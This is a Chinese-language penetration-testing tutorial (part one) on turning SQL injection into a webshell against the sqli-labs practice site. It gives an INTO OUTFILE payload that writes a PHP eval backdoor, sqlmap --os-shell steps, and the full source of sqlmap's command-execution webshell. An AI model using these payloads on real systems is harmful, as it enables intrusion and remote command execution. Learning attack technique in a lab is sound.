渗透测试之利用sql拿shell(附完整流程+防御方案)【上】

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言

  • 流程

  • 通过into outfile 进行文件写入

  • 利用sqlmap

  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

复制代码
寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、 通过into outfile 进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作:

(1)查看secure-file-priv参数的值
sql 复制代码
show global variables like '%secure%';
(2)修改secure_file_priv 的值

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上**secure_file_priv =**即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell

使用蚁剑连接成功

二、利用sqlmap

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

python 复制代码
sqlmap.py -u "http://xxx?id=1" --sql-shell  //进入命令行
(1)查看文件路径

select @@datadir; //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件)

2、选择语言
3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

tmpbuwzg.php文件内容为:

php 复制代码
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

时间有限,未完待续~

++文中如有错误,还请各位大佬批评指正,感激不尽!++

相关推荐
我的offer在哪里1 小时前
Redis
数据库·redis·缓存
点灯小铭1 小时前
基于单片机的多模式自动洗衣机设计与实现
数据库·单片机·嵌入式硬件·毕业设计·课程设计
潜心编码1 小时前
基于python的仓库管理系统
数据库
herinspace1 小时前
如何设置电脑分辨率和显示缩放
服务器·数据库·智能手机·电脑
报错小能手1 小时前
linux学习笔记(49)Redis详解(1)
linux·笔记·学习
biubiubiu07061 小时前
Ubuntu中定时任务测试
数据库·postgresql
QT 小鲜肉1 小时前
【个人成长笔记】在本地Windows系统中如何正确使用adb pull命令,把Linux系统中的文件或文件夹复制到本地中(亲测有效)
linux·windows·笔记·学习·adb
程序新视界2 小时前
在MySQL中,一条SQL语句的执行全流程是怎样的?
数据库·后端·mysql
todoitbo3 小时前
我用 TRAE 做了一个不一样的 MySQL MCP
数据库·mysql·adb·ai工具·mcp·trae·mysql-mcp